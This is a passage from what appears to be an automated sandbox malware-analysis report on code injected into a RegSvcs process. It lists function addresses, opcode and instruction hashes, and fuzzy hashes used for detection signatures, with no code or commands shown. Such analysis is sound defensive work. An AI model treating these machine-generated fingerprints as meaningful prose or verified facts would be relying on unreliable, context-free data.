                                                                • Opcode ID: 0f4b443c27e0a7b9b780311e24aae63157f16e0afc318e422fbec221b35cdfa3
                                                                • Instruction ID: 0ea46ef0e83e5499c9b96fea55f7faab2ca6e954efb59b9ccc81fc76c02c3546
                                                                • Opcode Fuzzy Hash: 0f4b443c27e0a7b9b780311e24aae63157f16e0afc318e422fbec221b35cdfa3
                                                                • Instruction Fuzzy Hash: F0014C36D142859FDB059774C8645EFBFB68F46300F08446AD582EB282EE70550BD7F2
                                                                Function 00D4D8F0 Relevance: .1, Instructions: 99COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 2744caa238186580b82a97ffe9ba3ed5e458b861e2d3976bcd20f7425c1bd3fd
                                                                • Instruction ID: 25a8ca109b93fbb535693116d2d25b909f704225b643a7348e76a1aecc61910a
                                                                • Opcode Fuzzy Hash: 2744caa238186580b82a97ffe9ba3ed5e458b861e2d3976bcd20f7425c1bd3fd
                                                                • Instruction Fuzzy Hash: A731C272A002459FDB15DF68D890AEEBBF2EF88310F148569D446E7245DF70AD05CBA0
                                                                Function 00D47035 Relevance: .1, Instructions: 95COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 7bcf85445c616aa8f3938a198bcc6e0b98e7683f818b6df4364c6c3d93481d84
                                                                • Instruction ID: 712b30ece307c831c54d359e17fb892a01f9834e7e95e313aab4a975a60fe6bd
                                                                • Opcode Fuzzy Hash: 7bcf85445c616aa8f3938a198bcc6e0b98e7683f818b6df4364c6c3d93481d84
                                                                • Instruction Fuzzy Hash: 5D41FEB0D04349DFDB10DFA9C980ADEBFB5BF48310F24852AE419AB250DB75A946CF90
                                                                Function 00D439AF Relevance: .1, Instructions: 93COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 96502fd293c8e84fbf9569895b168d9934b7b703f2c475ab678337ba669c35b3
                                                                • Instruction ID: d5ac68433b6dd8d0535685cc9f7d53f69ade6e549baf942907c31cbfa0e2e177
                                                                • Opcode Fuzzy Hash: 96502fd293c8e84fbf9569895b168d9934b7b703f2c475ab678337ba669c35b3
                                                                • Instruction Fuzzy Hash: 0F315D75B001548FCB44DF68C498A9DBFF2EF8D320F25409AE506EB3A2CA709D45CB50
                                                                Function 00D44A51 Relevance: .1, Instructions: 92COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 973d36db10a232648df683e3847aa177ca9808f85b7481f3909466a8adade891
                                                                • Instruction ID: 6a06626966774c9ab68b53aceab3d821d3f12fb5d43ac75f23994ad7523d4e14
                                                                • Opcode Fuzzy Hash: 973d36db10a232648df683e3847aa177ca9808f85b7481f3909466a8adade891
                                                                • Instruction Fuzzy Hash: 7E311974A10154CFCB44DF68C498B9DBBF2AF89721F25809AE506EB3A2CA719C41CB50
                                                                Function 00D41BDF Relevance: .1, Instructions: 92COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 0dd5b93828efac42192b2e9244a915c3d8a085673035bdd2a6a4480c343f1bd9
                                                                • Instruction ID: 28ac91b5b89101d557eb0516851192bfd5701568c9f23b287d970bbd0990b011
                                                                • Opcode Fuzzy Hash: 0dd5b93828efac42192b2e9244a915c3d8a085673035bdd2a6a4480c343f1bd9
                                                                • Instruction Fuzzy Hash: 3731F475909685AFCF02DBB4D8905DDBFF2AF8A310F1881A6D401AB252DB345D44CB61
                                                                Function 00D41EF7 Relevance: .1, Instructions: 92COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 654356cdf6b018d8635bfeec2ee0fe0e5829e26ab28e641bd63f284ecf821649
                                                                • Instruction ID: 0f524ad287b22f160d61a9455014c4c83b3f8f60d8522b06672d764f21d15089
                                                                • Opcode Fuzzy Hash: 654356cdf6b018d8635bfeec2ee0fe0e5829e26ab28e641bd63f284ecf821649
                                                                • Instruction Fuzzy Hash: E13152306002059FDB15DF68D880ADEBBF2EF89320F549668E515AB3A1DB71ED45CFA0
                                                                Function 00D41C11 Relevance: .1, Instructions: 91COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: aac7a29665c854fbddd845e8c43a8ff1cbb3e1206b01de875ed07abaccd42c23
                                                                • Instruction ID: e86dbf5f7d7e291043a3a1ca9a7fe4c0d8372441e219bef5a8d9223fec6462c7
                                                                • Opcode Fuzzy Hash: aac7a29665c854fbddd845e8c43a8ff1cbb3e1206b01de875ed07abaccd42c23
                                                                • Instruction Fuzzy Hash: 7A31C275D093959FDF02DBB8D8509DEBFF2AF8A310F1842A7D441AB252D6305D48CB61
                                                                Function 00D47040 Relevance: .1, Instructions: 90COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: a0ba6a41932f6a33bbc23aafa3f561e2fd583016b653e8715359140f80c5ba8a
                                                                • Instruction ID: 30f92bfdd4ee7f4ee48a43925605719a3fe9325875b647d13a6a357a51da3675
                                                                • Opcode Fuzzy Hash: a0ba6a41932f6a33bbc23aafa3f561e2fd583016b653e8715359140f80c5ba8a
                                                                • Instruction Fuzzy Hash: 5D41DDB0D04349DFDB10DFA9C984ADEBBF5FF48310F24842AE809AB254DB75A945CB90
                                                                Function 00D4CA77 Relevance: .1, Instructions: 90COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: f7d96e16f6a5765a47afa5677672a7117c5dac5cd8647bc346ec164f8caa67e9
                                                                • Instruction ID: 398cf14ba13d324f5ff055d1a88d99fb2b3c8545e1c6eab2152ec5e62052b68a
                                                                • Opcode Fuzzy Hash: f7d96e16f6a5765a47afa5677672a7117c5dac5cd8647bc346ec164f8caa67e9
                                                                • Instruction Fuzzy Hash: C5312435A012899FDB25DF69C8515DEBFF5EF89310B0885ADD444E7306EB70AD05CBA0
                                                                Function 00D4DA67 Relevance: .1, Instructions: 89COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 665011768c3099478002ee939d8e7b8cfe549a86f3bdc7a1845744d3560d3250
                                                                • Instruction ID: e9eec292baf721146a8358e8ed6f820131552832111d122b1d94d849c083bab8
                                                                • Opcode Fuzzy Hash: 665011768c3099478002ee939d8e7b8cfe549a86f3bdc7a1845744d3560d3250
                                                                • Instruction Fuzzy Hash: 3031A031E012499FDF15DFB8D9405EEBFF2EF89320F1442AAD501AB256DA306D45CB60
                                                                Function 00D41C68 Relevance: .1, Instructions: 89COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 7e400bb9d0a0522a417d2e362085ed7d53902feb93e9d21d06874184b4c6ed0c
                                                                • Instruction ID: adb4201ddde522058876fcbbcf3be75ab5e0eadc5c25876001d0f13440ee371c
                                                                • Opcode Fuzzy Hash: 7e400bb9d0a0522a417d2e362085ed7d53902feb93e9d21d06874184b4c6ed0c
                                                                • Instruction Fuzzy Hash: 4931C035D092959FDB02DBB8D850ADEBFB2AF8A310F1841ABD441AB252DA305D48CB61
                                                                Function 00D46588 Relevance: .1, Instructions: 87COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 67ba544bcb58280e6c9519e2cbdfe9442664249537ba2ecb5950ba14f13a61e1
                                                                • Instruction ID: 73be3a23d62c1064088f7cd7b32422ee1c6ab03cc03eb5271324d49065b2d638
                                                                • Opcode Fuzzy Hash: 67ba544bcb58280e6c9519e2cbdfe9442664249537ba2ecb5950ba14f13a61e1
                                                                • Instruction Fuzzy Hash: 4B315830A00604CFDF14EBB8D5557AD7BB2AB8A705F2541A9D406EB3A4DF74DC01CBA2
                                                                Function 00D41C21 Relevance: .1, Instructions: 86COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 6cf28974da7c443ec3572ead95d75de41f7321ecd3e063c4d4acac591b10c8df
                                                                • Instruction ID: b1bcaf8c2656b08a283f2006bfdabb6c9a3896155a95f47f95629ba817573c0b
                                                                • Opcode Fuzzy Hash: 6cf28974da7c443ec3572ead95d75de41f7321ecd3e063c4d4acac591b10c8df
                                                                • Instruction Fuzzy Hash: BD31A275D092899FDF02DBB8D890ADEBFF2AF8A310F1841A7D401AB252D6345D49CB61
                                                                Function 00D4648F Relevance: .1, Instructions: 85COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 3cad2fc4ed74b4d888d5617ce12b5e2fa76e29839e1b9b3768f62a3a77fed597
                                                                • Instruction ID: 290694b0f824e47d8d9b71c7748f118d77724f3fc3050454c308fa01c46fd33c
                                                                • Opcode Fuzzy Hash: 3cad2fc4ed74b4d888d5617ce12b5e2fa76e29839e1b9b3768f62a3a77fed597
                                                                • Instruction Fuzzy Hash: DB217C30B012568FCB54EB79D451A6EBBF6BFC9600B144469E506DB395DE30DC02C791
                                                                Function 00D4CA80 Relevance: .1, Instructions: 84COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: c876f4d26dc60734b3e0593ba43fd26f48427b9053d7f2233433316db647788e
                                                                • Instruction ID: 149738c81dc3599293d9b18c89fd55978e4acb6e5fd73a6fdb8486b34f22ec40
                                                                • Opcode Fuzzy Hash: c876f4d26dc60734b3e0593ba43fd26f48427b9053d7f2233433316db647788e
                                                                • Instruction Fuzzy Hash: BD31F270A012459FDB25DF69C840A9EBBF1FF88320B24866DD495AB354DB30ED05CFA0
                                                                Function 00D4AD37 Relevance: .1, Instructions: 84COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 37a3495ba2e0aa79144b2cd9d4216ededc02b910579bbd38fa9b598fe7b06edd
                                                                • Instruction ID: cf717a8e55127b14c6417ad03f4e38f6995bbd9d84609b8a8481710c05699b65
                                                                • Opcode Fuzzy Hash: 37a3495ba2e0aa79144b2cd9d4216ededc02b910579bbd38fa9b598fe7b06edd
                                                                • Instruction Fuzzy Hash: B53135B0D0124ADFDB14CFA9C980ADEBFF5BF48710F248469E519AB250DB749D41CBA1
                                                                Function 00D45B00 Relevance: .1, Instructions: 83COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 0cdb36575d912a8f7af5a3ad27e51f5bdfcd20857020d3361344f82145c6fad0
                                                                • Instruction ID: 378926323a0df2432a931c071415f5afa101678d2521f3685c0f8498d74e4b7b
                                                                • Opcode Fuzzy Hash: 0cdb36575d912a8f7af5a3ad27e51f5bdfcd20857020d3361344f82145c6fad0
                                                                • Instruction Fuzzy Hash: CF21B731E045959FCF15CF64D880ADEFBF2EF89320F18866AD446AB281CB34AD45CB90
                                                                Function 00D4AD40 Relevance: .1, Instructions: 83COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: f177508b67ed4bbbeb61e553012348fc0b0a0cb939030bcc533bcfdd7fc8b45b
                                                                • Instruction ID: 8fbc99ec87160174845fee1a7e7e8634594b73e21bd12c0f9256edffd62d3a18
                                                                • Opcode Fuzzy Hash: f177508b67ed4bbbeb61e553012348fc0b0a0cb939030bcc533bcfdd7fc8b45b
                                                                • Instruction Fuzzy Hash: F4312670D01249DFDB10CFA9C580ADEBFF5BF48750F248429E519AB250DB749D41CBA1
                                                                Function 00D4D900 Relevance: .1, Instructions: 81COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 2fe56eee7e4642c274c0837a16adc3f345f3d3db2e7902b9ea63f30be8be038e
                                                                • Instruction ID: ab0698846dd80da85a56e38554d41275d9211e0ad187c02a5fe6952941e9e56f
                                                                • Opcode Fuzzy Hash: 2fe56eee7e4642c274c0837a16adc3f345f3d3db2e7902b9ea63f30be8be038e
                                                                • Instruction Fuzzy Hash: 6631CE71A006458FDB26DF68C840A9EBBF2EF88350B24866DD495EB344DB30AD45CF60
                                                                Function 00D458A7 Relevance: .1, Instructions: 80COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 262dd28445ce68e85a9f0ee089a43a27bf8359ec4926f359fda223e2030bc8a8
                                                                • Instruction ID: 298b79f662bbf738942ce09d4174232c361350ea0ec00da0b0bb12ad16c77cd3
                                                                • Opcode Fuzzy Hash: 262dd28445ce68e85a9f0ee089a43a27bf8359ec4926f359fda223e2030bc8a8
                                                                • Instruction Fuzzy Hash: 0E31E531A04A458FCF25CF68C840ADEBBF1BF89320B18475DD4D6AB295D734A805CF61
                                                                Function 00D49CF7 Relevance: .1, Instructions: 80COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 3804729c5c7d3933165ff616eb30872ea9f165250b754d94faf5a67f106fe8d4
                                                                • Instruction ID: ad1d0cda8282746b752e01df6f472dbbb6c435f35b248f2c39765d4d35111858
                                                                • Opcode Fuzzy Hash: 3804729c5c7d3933165ff616eb30872ea9f165250b754d94faf5a67f106fe8d4
                                                                • Instruction Fuzzy Hash: 55216D30F002559FCF18EB79D4616AEB6F6AF89304F10446DD402AB3A5DF758C05CBA0
                                                                Function 00D49CF8 Relevance: .1, Instructions: 80COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 3201aec63c89f95823f26a04ccf893bf54d714f1d738e6b2f0dc51a760fe667e
                                                                • Instruction ID: cc9d0dd4752679a3d819658270a8f5fedbb825bbfa9378a93742e55734ed4af2
                                                                • Opcode Fuzzy Hash: 3201aec63c89f95823f26a04ccf893bf54d714f1d738e6b2f0dc51a760fe667e
                                                                • Instruction Fuzzy Hash: 36216B30B002559FCF18AB79D4616AEB6F6AF89704F104429D402AB3A5EF759C05CBA0
                                                                Function 00D4C620 Relevance: .1, Instructions: 80COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 3e695549e3f9847d2e89bddadf6a9515b5b1409d9de3301c1d2606102ac02a8d
                                                                • Instruction ID: 21d9e7f7b6cb1ce64653b9254bd7d7f54984fd25994b1a0246ebfa1012a5548d
                                                                • Opcode Fuzzy Hash: 3e695549e3f9847d2e89bddadf6a9515b5b1409d9de3301c1d2606102ac02a8d
                                                                • Instruction Fuzzy Hash: B9212436D1124A9BDF11DFB8C8109DEFFB2AFC9310F154A26E50277290EB70254ACBA0
                                                                Function 00D4CF28 Relevance: .1, Instructions: 79COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 577b04b7d91d68e4b30e0ab6e6bda965ad4cae7553f0c2c4f3899fb9c40be355
                                                                • Instruction ID: c8df3d1e0ae938179ad3c99df8e3a25357d6bd1b5115d1e5128760995475c121
                                                                • Opcode Fuzzy Hash: 577b04b7d91d68e4b30e0ab6e6bda965ad4cae7553f0c2c4f3899fb9c40be355
                                                                • Instruction Fuzzy Hash: A0213B357112048FCB48EB78C4519ADBBF6EF8C754B2454A9E406A73A5DB359C05CBA0
                                                                Function 00D4C980 Relevance: .1, Instructions: 76COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 8530a3b8e624b482ba0601d926772c91939f24414b323f9b7dffc7d25a0ade33
                                                                • Instruction ID: 7a360c6aef465529de632351a1ac6df544bbf6e4bc80c95db165c24ad7d54c84
                                                                • Opcode Fuzzy Hash: 8530a3b8e624b482ba0601d926772c91939f24414b323f9b7dffc7d25a0ade33
                                                                • Instruction Fuzzy Hash: 7C21F536D1024E9BDF10DBA4C8144EEFFB29F9A320F154A21D51177290EF70258ACBE1
                                                                Function 00D46587 Relevance: .1, Instructions: 74COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 707adc87cfb5e4fd0b8711ed303c9cbcc4f5acdda47fbd31a7dce1e1fb9a539b
                                                                • Instruction ID: 7fc6c668670522a4ba935dbe9a730a6996df7cad647216aff8d279d286a2675c
                                                                • Opcode Fuzzy Hash: 707adc87cfb5e4fd0b8711ed303c9cbcc4f5acdda47fbd31a7dce1e1fb9a539b
                                                                • Instruction Fuzzy Hash: EA215734B00604CFDF14EB78D595AAD77B2AF8A704B1581A9D406EB3A5DB34DC01CBA1
                                                                Function 00D41CA8 Relevance: .1, Instructions: 72COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 2d510c479c60e14e387a73bd801bc169b3dac085342b361949c5cd56d08f5cfa
                                                                • Instruction ID: 8ad0e8f9f88e7eadeb6037b8b9f97f06bde38fd2c0d870a4cb4d2368c5f66cdf
                                                                • Opcode Fuzzy Hash: 2d510c479c60e14e387a73bd801bc169b3dac085342b361949c5cd56d08f5cfa
                                                                • Instruction Fuzzy Hash: C1218175E052489FCF15DFB4D980ADEBFF6AF89310F148576E502A7241DA306D448B61
                                                                Function 00D45F87 Relevance: .1, Instructions: 72COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 2696bd0520c2b6dbcfc7eb0d977f1da1f154097e3e82d1770fb80e7bd9e7cc47
                                                                • Instruction ID: f9af74074c6146518b63b6de679ac63c229a87d48167f835cf679ad11beffa64
                                                                • Opcode Fuzzy Hash: 2696bd0520c2b6dbcfc7eb0d977f1da1f154097e3e82d1770fb80e7bd9e7cc47
                                                                • Instruction Fuzzy Hash: 62114F71F042559FDB44ABF9882936FBEEAEFC9740B20442DE60AD7346DE748D0147A1
                                                                Function 00D45F88 Relevance: .1, Instructions: 72COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 9ec03b37a4dacdfb93715423cc26287fb0c39f4bffbea3f1f12669f8957391b3
                                                                • Instruction ID: 3c5cd514ce9b158ff75ddc99eaee686164ed8c5221f3e19b47d2a8cc057dc9e7
                                                                • Opcode Fuzzy Hash: 9ec03b37a4dacdfb93715423cc26287fb0c39f4bffbea3f1f12669f8957391b3
                                                                • Instruction Fuzzy Hash: 6B114C71B002599BDB44ABF9882936FBEEAEBC9750B20442DE60AD7346DE748D0147A1
                                                                Function 00D4A0A1 Relevance: .1, Instructions: 70COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 90e8cdf124168b74a3e80939fe5c10ad40fd5d8a68f1b44b529c597957d2879a
                                                                • Instruction ID: 6b3b15174cb0fcd1bd5fc5acfb8e93aceb32ce442b5b71ca481056e86d49532d
                                                                • Opcode Fuzzy Hash: 90e8cdf124168b74a3e80939fe5c10ad40fd5d8a68f1b44b529c597957d2879a
                                                                • Instruction Fuzzy Hash: F221DA31E052899FCF16DBB8D9805DEBFF2AF8A320F1442A6D5017B292DA345D45C761
                                                                Function 00D49FB0 Relevance: .1, Instructions: 70COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 753afda9a9bdbe7bd537fb4c0c71ee423cca9e2488bca89c4160d4f98e4c8d96
                                                                • Instruction ID: 8c29a34581c3970a20c6433c8d98812a9d95b145983ef887f44285274a3e6bce
                                                                • Opcode Fuzzy Hash: 753afda9a9bdbe7bd537fb4c0c71ee423cca9e2488bca89c4160d4f98e4c8d96
                                                                • Instruction Fuzzy Hash: 8321D171A007558FCF25CF29C840A9EBBF2FF88310F148669D496A72A5D735AC45CB61
                                                                Function 00D4CF27 Relevance: .1, Instructions: 70COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 0000000F.00000002.3427751659.0000000000D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D40000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_15_2_d40000_RegSvcs.jbxd
